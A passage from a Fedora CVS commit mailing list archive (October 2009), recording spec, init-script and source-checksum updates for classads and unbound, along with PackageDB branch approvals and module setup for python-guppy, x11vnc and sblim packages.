+++ classads.spec	9 Oct 2009 01:52:31 -0000	1.6
@@ -1,20 +1,17 @@
 Summary: Condor's classified advertisement language
 Name: classads
-Version: 1.0.1
-Release: 2%{?dist}
+Version: 1.0.4
+Release: 1%{?dist}
 License: ASL 2.0
 Group: Development/Libraries
 URL: http://www.cs.wisc.edu/condor/classad/
-Source0: ftp://ftp.cs.wisc.edu/condor/classad/c++/classads-1.0.1.tar.gz
-Patch0: f9_gcc_header.patch
+Source0: http://parrot.cs.wisc.edu/externals/classads-1.0.4.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 #BuildRequires: libtool
 #BuildRequires: pkgconfig
 BuildRequires: pcre-devel
 
-Requires: pcre
-
 %description
 Classified Advertisements (classads) are the lingua franca of
 Condor. They are used for describing jobs, workstations, and other
@@ -55,8 +52,7 @@ Static versions of Condor's ClassAd Libr
 and flexible, semi-structured representation of data.
 
 %prep
-%setup -q
-%patch0 -p1
+%setup -q -n %name-%version
 
 %build
 %configure --enable-namespace --enable-flexible-member CC=g++
@@ -137,6 +133,9 @@ make check
 
 
 %changelog
+* Thu Oct  8 2009  <matt at redhat> - 1.0.4-1
+- Upgraded to 1.0.4 release
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Jan 2009 14:57:25 -0000	1.4
+++ sources	9 Oct 2009 01:52:31 -0000	1.5
@@ -1 +1 @@
-c98906c025ab9a9381e644e9d7094d6d  classads-1.0.1.tar.gz
+7cb3b3173dac3ea1984266e298463ea0  classads-1.0.4.tar.gz


--- f9_gcc_header.patch DELETED ---



From matt at fedoraproject.org  Fri Oct  9 01:55:41 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 01:55:41 +0000 (UTC)
Subject: rpms/classads/F-12 .cvsignore, 1.4, 1.5 classads.spec, 1.6,
	1.7 sources, 1.4, 1.5 f9_gcc_header.patch, 1.1, NONE
Message-ID: <20091009015541.0C63E11C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7880

Modified Files:
	.cvsignore classads.spec sources 
Removed Files:
	f9_gcc_header.patch 
Log Message:
upgrade to 1.0.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Jan 2009 14:57:25 -0000	1.4
+++ .cvsignore	9 Oct 2009 01:55:40 -0000	1.5
@@ -1 +1 @@
-classads-1.0.1.tar.gz
+classads-1.0.4.tar.gz


Index: classads.spec
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-12/classads.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- classads.spec	24 Jul 2009 19:01:19 -0000	1.6
+++ classads.spec	9 Oct 2009 01:55:40 -0000	1.7
@@ -1,20 +1,17 @@
 Summary: Condor's classified advertisement language
 Name: classads
-Version: 1.0.1
-Release: 3%{?dist}
+Version: 1.0.4
+Release: 1%{?dist}
 License: ASL 2.0
 Group: Development/Libraries
 URL: http://www.cs.wisc.edu/condor/classad/
-Source0: ftp://ftp.cs.wisc.edu/condor/classad/c++/classads-1.0.1.tar.gz
-Patch0: f9_gcc_header.patch
+Source0: http://parrot.cs.wisc.edu/externals/classads-1.0.4.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 #BuildRequires: libtool
 #BuildRequires: pkgconfig
 BuildRequires: pcre-devel
 
-Requires: pcre
-
 %description
 Classified Advertisements (classads) are the lingua franca of
 Condor. They are used for describing jobs, workstations, and other
@@ -55,8 +52,7 @@ Static versions of Condor's ClassAd Libr
 and flexible, semi-structured representation of data.
 
 %prep
-%setup -q
-%patch0 -p1
+%setup -q -n %name-%version
 
 %build
 %configure --enable-namespace --enable-flexible-member CC=g++
@@ -137,6 +133,9 @@ make check
 
 
 %changelog
+* Thu Oct  8 2009  <matt at redhat> - 1.0.4-1
+- Upgraded to 1.0.4 release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Jan 2009 14:57:25 -0000	1.4
+++ sources	9 Oct 2009 01:55:40 -0000	1.5
@@ -1 +1 @@
-c98906c025ab9a9381e644e9d7094d6d  classads-1.0.1.tar.gz
+7cb3b3173dac3ea1984266e298463ea0  classads-1.0.4.tar.gz


--- f9_gcc_header.patch DELETED ---



From pwouters at fedoraproject.org  Fri Oct  9 01:59:19 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 01:59:19 +0000 (UTC)
Subject: rpms/unbound/devel unbound.spec,1.34,1.35
Message-ID: <20091009015919.5895E11C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8434

Modified Files:
	unbound.spec 
Log Message:
bump version



Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/devel/unbound.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- unbound.spec	9 Oct 2009 01:24:23 -0000	1.34
+++ unbound.spec	9 Oct 2009 01:59:19 -0000	1.35
@@ -9,7 +9,7 @@
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
 Version: 1.3.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
 Source: http://www.unbound.net/downloads/%{name}-%{version}.tar.gz
@@ -193,6 +193,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-2
+- Bump version
+
 * Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
 - Upgraded to 1.3.4. Security fix with validating NSEC3 records
 



From matt at fedoraproject.org  Fri Oct  9 02:06:35 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 02:06:35 +0000 (UTC)
Subject: rpms/classads/devel .cvsignore, 1.4, 1.5 classads.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091009020635.950FF11C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9949

Modified Files:
	.cvsignore classads.spec sources 
Log Message:
upgrade to 1.0.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/classads/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Jan 2009 14:57:25 -0000	1.4
+++ .cvsignore	9 Oct 2009 02:06:34 -0000	1.5
@@ -1 +1 @@
-classads-1.0.1.tar.gz
+classads-1.0.4.tar.gz


Index: classads.spec
===================================================================
RCS file: /cvs/pkgs/rpms/classads/devel/classads.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- classads.spec	24 Jul 2009 19:01:19 -0000	1.6
+++ classads.spec	9 Oct 2009 02:06:34 -0000	1.7
@@ -1,20 +1,17 @@
 Summary: Condor's classified advertisement language
 Name: classads
-Version: 1.0.1
-Release: 3%{?dist}
+Version: 1.0.4
+Release: 1%{?dist}
 License: ASL 2.0
 Group: Development/Libraries
 URL: http://www.cs.wisc.edu/condor/classad/
-Source0: ftp://ftp.cs.wisc.edu/condor/classad/c++/classads-1.0.1.tar.gz
-Patch0: f9_gcc_header.patch
+Source0: http://parrot.cs.wisc.edu/externals/classads-1.0.4.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 #BuildRequires: libtool
 #BuildRequires: pkgconfig
 BuildRequires: pcre-devel
 
-Requires: pcre
-
 %description
 Classified Advertisements (classads) are the lingua franca of
 Condor. They are used for describing jobs, workstations, and other
@@ -55,8 +52,7 @@ Static versions of Condor's ClassAd Libr
 and flexible, semi-structured representation of data.
 
 %prep
-%setup -q
-%patch0 -p1
+%setup -q -n %name-%version
 
 %build
 %configure --enable-namespace --enable-flexible-member CC=g++
@@ -137,6 +133,9 @@ make check
 
 
 %changelog
+* Thu Oct  8 2009  <matt at redhat> - 1.0.4-1
+- Upgraded to 1.0.4 release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/classads/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Jan 2009 14:57:25 -0000	1.4
+++ sources	9 Oct 2009 02:06:34 -0000	1.5
@@ -1 +1 @@
-c98906c025ab9a9381e644e9d7094d6d  classads-1.0.1.tar.gz
+7cb3b3173dac3ea1984266e298463ea0  classads-1.0.4.tar.gz



From matt at fedoraproject.org  Fri Oct  9 02:09:28 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 02:09:28 +0000 (UTC)
Subject: rpms/classads/devel f9_gcc_header.patch,1.1,NONE
Message-ID: <20091009020928.883C211C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10720

Removed Files:
	f9_gcc_header.patch 
Log Message:
removed f9_gcc_header.patch


--- f9_gcc_header.patch DELETED ---



From pwouters at fedoraproject.org  Fri Oct  9 02:39:55 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 02:39:55 +0000 (UTC)
Subject: rpms/unbound/F-10 .cvsignore,1.2,1.3 unbound.spec,1.4,1.5
Message-ID: <20091009023955.CD75411C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16531

Modified Files:
	.cvsignore unbound.spec 
Log Message:
* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
- Much neglected update to latest version



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	21 Jan 2009 00:42:08 -0000	1.2
+++ .cvsignore	9 Oct 2009 02:39:54 -0000	1.3
@@ -1 +1,8 @@
+unbound-1.1.1.tar.gz
 unbound-1.2.0.tar.gz
+unbound-1.2.1.tar.gz
+unbound-1.3.0.tar.gz
+unbound-1.3.2.tar.gz
+unbound-1.3.1.tar.gz
+unbound-1.3.3.tar.gz
+unbound-1.3.4.tar.gz


Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-10/unbound.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- unbound.spec	16 Feb 2009 22:01:28 -0000	1.4
+++ unbound.spec	9 Oct 2009 02:39:55 -0000	1.5
@@ -1,7 +1,7 @@
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
-Version: 1.2.0
-Release: 2%{?dist}
+Version: 1.3.4
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
 Source: http://www.unbound.net/downloads/%{name}-%{version}.tar.gz
@@ -17,7 +17,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
-Requires: ldns >= 1.4.0
+Requires: ldns >= 1.6.1
 Requires(pre): shadow-utils
 # Is this obsolete?
 #Provides: caching-nameserver
@@ -147,6 +147,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
+- Much neglected update
+
 * Wed Jan 20 2009 Paul Wouters <paul at xelerance.com - 1.2.0-2
 - Added missing patch
 



From pwouters at fedoraproject.org  Fri Oct  9 02:41:00 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 02:41:00 +0000 (UTC)
Subject: rpms/unbound/F-10 unbound.init,1.2,1.3
Message-ID: <20091009024100.D485F11C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16655

Modified Files:
	unbound.init 
Log Message:
updated init script.



Index: unbound.init
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-10/unbound.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- unbound.init	20 Jan 2009 23:06:48 -0000	1.2
+++ unbound.init	9 Oct 2009 02:41:00 -0000	1.3
@@ -11,6 +11,8 @@
 # Provides: unbound
 # Required-Start: $network $local_fs
 # Required-Stop: $network $local_fs
+# Default-Start:
+# Default-Stop: 0 1 2 3 4 5 6
 # Should-Start: $syslog
 # Should-Stop: $syslog
 # Short-Description: unbound recursive Domain Name Server.
@@ -25,28 +27,46 @@ exec="/usr/sbin/unbound"
 config="/etc/unbound/unbound.conf"
 rootdir="/var/lib/unbound"
 pidfile="/var/run/unbound/unbound.pid"
+piddir=`dirname $pidfile`
 
 [ -e /etc/sysconfig/unbound ] && . /etc/sysconfig/unbound
+[ -e /etc/sysconfig/dnssec ] && . /etc/sysconfig/dnssec
 
 lockfile=/var/lock/subsys/unbound
 
+[ -x /usr/sbin/dnssec-configure ] && [ -r "$config" ] &&
+  [ /etc/sysconfig/dnssec -nt "$config" ] && \
+    /usr/sbin/dnssec-configure -u --norestart --dnssec="$DNSSEC" --dlv="$DLV"
+
 start() {
     [ -x $exec ] || exit 5
     [ -f $config ] || exit 6
+    # /var/run could (and should) be tmpfs
+    [ -d $piddir ] || mkdir $piddir
 
     if [ ! -f /etc/unbound/unbound_control.key ]
     then
 	echo -n $"Generating unbound control key and certificate: "
 	/usr/sbin/unbound-control-setup -d /etc/unbound/ > /dev/null 2> /dev/null
+	chgrp unbound /etc/unbound/unbound_*key /etc/unbound/unbound_*pem
 	[ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled && \
 	    [ -x /sbin/restorecon ] && /sbin/restorecon /etc/unbound/*
 	echo
+    else
+	# old init script created these as root instead of unbound.
+	if [ -G /etc/unbound/unbound_control.key ]
+	then
+	    chgrp unbound /etc/unbound/unbound_*key /etc/unbound/unbound_*pem
+	    [ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled && \
+		[ -x /sbin/restorecon ] && /sbin/restorecon /etc/unbound/*
+	    echo
+	fi
     fi
 
     echo -n $"Starting unbound: "
 
     # if not running, start it up here
-    daemon $exec
+    daemon --pidfile=$pidfile $exec
     retval=$?
     [ $retval -eq 0 ] && touch $lockfile
     echo



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:17 +0000
Subject: [pkgdb] python-guppy was added for peter
Message-ID: <20091009024917.9E70810F880@bastion2.fedora.phx.redhat.com>

kevin has added Package python-guppy with summary A Python Programming Environment
kevin has approved Package python-guppy
kevin has added a Fedora devel branch for python-guppy with an owner of peter
kevin has approved python-guppy in Fedora devel
kevin has approved Package python-guppy
kevin has set commit to Approved for 107427 on python-guppy (Fedora devel)
kevin has set checkout to Approved for 107427 on python-guppy (Fedora devel)
kevin has set build to Approved for 107427 on python-guppy (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:21 +0000
Subject: [pkgdb] python-guppy summary updated by kevin
Message-ID: <20091009024922.353B710F84D@bastion2.fedora.phx.redhat.com>

kevin set package python-guppy summary to A Python Programming Environment

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:21 +0000
Subject: [pkgdb] python-guppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009024922.439B310F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-guppy
kevin has set commit to Approved for 107427 on python-guppy (Fedora 11)
kevin has set checkout to Approved for 107427 on python-guppy (Fedora 11)
kevin has set build to Approved for 107427 on python-guppy (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:22 +0000
Subject: [pkgdb] python-guppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009024922.5AB4110F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-guppy
kevin has set commit to Approved for 107427 on python-guppy (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-guppy (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-guppy (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:22 +0000
Subject: [pkgdb] python-guppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009024922.6ABC710F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-guppy
kevin has set commit to Approved for 107427 on python-guppy (Fedora 12)
kevin has set checkout to Approved for 107427 on python-guppy (Fedora 12)
kevin has set build to Approved for 107427 on python-guppy (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From pkgdb at fedoraproject.org  Fri Oct  9 02:49:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:49:22 +0000
Subject: [pkgdb] python-guppy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009024922.748CB10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for python-guppy
kevin has set commit to Approved for 107427 on python-guppy (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on python-guppy (Fedora EPEL 4)
kevin has set build to Approved for 107427 on python-guppy (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/python-guppy



From kevin at fedoraproject.org  Fri Oct  9 02:49:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:49:29 +0000 (UTC)
Subject: rpms/python-guppy - New directory
Message-ID: <20091009024929.2DBBE11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-guppy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh17518/rpms/python-guppy

Log Message:
Directory /cvs/pkgs/rpms/python-guppy added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:49:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:49:29 +0000 (UTC)
Subject: rpms/python-guppy/devel - New directory
Message-ID: <20091009024929.4EE3311C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-guppy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh17518/rpms/python-guppy/devel

Log Message:
Directory /cvs/pkgs/rpms/python-guppy/devel added to the repository




From kevin at fedoraproject.org  Fri Oct  9 02:49:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:49:36 +0000 (UTC)
Subject: rpms/python-guppy Makefile,NONE,1.1
Message-ID: <20091009024936.32FE911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-guppy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh17518/rpms/python-guppy

Added Files:
	Makefile 
Log Message:
Setup of module python-guppy


--- NEW FILE Makefile ---
# Top level Makefile for module python-guppy
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Fri Oct  9 02:49:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:49:36 +0000 (UTC)
Subject: rpms/python-guppy/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091009024936.8B93F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-guppy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh17518/rpms/python-guppy/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-guppy


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-guppy
# $Id: Makefile,v 1.1 2009/10/09 02:49:36 kevin Exp $
NAME := python-guppy
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Fri Oct  9 02:50:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:50:30 +0000
Subject: [pkgdb] sblim-wbemcli (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025030.7108A10F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-wbemcli
kevin has set commit to Approved for 107427 on sblim-wbemcli (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-wbemcli (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-wbemcli (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-wbemcli



From pkgdb at fedoraproject.org  Fri Oct  9 02:50:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:50:30 +0000
Subject: [pkgdb] sblim-wbemcli (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025030.8EC7210F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-wbemcli
kevin has set commit to Approved for 107427 on sblim-wbemcli (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-wbemcli (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-wbemcli (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-wbemcli



From pkgdb at fedoraproject.org  Fri Oct  9 02:51:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:51:00 +0000
Subject: [pkgdb] sblim-testsuite (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025100.6609B10F88F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-testsuite
kevin has set commit to Approved for 107427 on sblim-testsuite (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-testsuite (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-testsuite (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-testsuite



From pkgdb at fedoraproject.org  Fri Oct  9 02:51:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:51:00 +0000
Subject: [pkgdb] sblim-testsuite (Fedora EPEL, 4) updated by kevin
Message-ID: <20091009025100.7900310F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-testsuite
kevin has set commit to Approved for 107427 on sblim-testsuite (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-testsuite (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-testsuite (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-testsuite



From pwouters at fedoraproject.org  Fri Oct  9 02:51:01 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 02:51:01 +0000 (UTC)
Subject: rpms/unbound/F-10 sources,1.3,1.4
Message-ID: <20091009025101.25CFF11C029B@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18038

Modified Files:
	sources 
Log Message:
updated sources



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/unbound/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	20 Jan 2009 23:06:48 -0000	1.3
+++ sources	9 Oct 2009 02:51:00 -0000	1.4
@@ -1 +1,2 @@
 2517f811ec4939c0ea602c99a6fdea23  unbound-1.2.0.tar.gz
+d1eb5efed0c36c10dbaf3f805ff3a4bd  unbound-1.3.4.tar.gz



From pkgdb at fedoraproject.org  Fri Oct  9 02:53:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:53:37 +0000
Subject: [pkgdb] x11vnc was added for hubbitus
Message-ID: <20091009025337.A996510F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package x11vnc with summary VNC server for the current X11 session
kevin has approved Package x11vnc
kevin has added a Fedora devel branch for x11vnc with an owner of hubbitus
kevin has approved x11vnc in Fedora devel
kevin has approved Package x11vnc
kevin has set commit to Approved for 107427 on x11vnc (Fedora devel)
kevin has set checkout to Approved for 107427 on x11vnc (Fedora devel)
kevin has set build to Approved for 107427 on x11vnc (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/x11vnc



From pkgdb at fedoraproject.org  Fri Oct  9 02:53:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:53:39 +0000
Subject: [pkgdb] x11vnc summary updated by kevin
Message-ID: <20091009025339.A9AE310F892@bastion2.fedora.phx.redhat.com>

kevin set package x11vnc summary to VNC server for the current X11 session

To make changes to this package see:
  /pkgdb/packages/name/x11vnc



From pkgdb at fedoraproject.org  Fri Oct  9 02:53:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:53:39 +0000
Subject: [pkgdb] x11vnc (Fedora EPEL, 5) updated by kevin
Message-ID: <20091009025339.B455F10F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for x11vnc
kevin has set commit to Approved for 107427 on x11vnc (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on x11vnc (Fedora EPEL 5)
kevin has set build to Approved for 107427 on x11vnc (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/x11vnc



From pkgdb at fedoraproject.org  Fri Oct  9 02:53:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:53:39 +0000
Subject: [pkgdb] x11vnc (Fedora EPEL, 5) updated by kevin
Message-ID: <20091009025339.B76C310F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for x11vnc
kevin has set commit to Approved for 107427 on x11vnc (Fedora 11)
kevin has set checkout to Approved for 107427 on x11vnc (Fedora 11)
kevin has set build to Approved for 107427 on x11vnc (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/x11vnc



From pkgdb at fedoraproject.org  Fri Oct  9 02:53:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 02:53:39 +0000
Subject: [pkgdb] x11vnc (Fedora EPEL, 5) updated by kevin
Message-ID: <20091009025339.C312010F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for x11vnc
kevin has set commit to Approved for 107427 on x11vnc (Fedora 12)
kevin has set checkout to Approved for 107427 on x11vnc (Fedora 12)
kevin has set build to Approved for 107427 on x11vnc (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/x11vnc



From kevin at fedoraproject.org  Fri Oct  9 02:53:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Fri,  9 Oct 2009 02:53:48 +0000 (UTC)
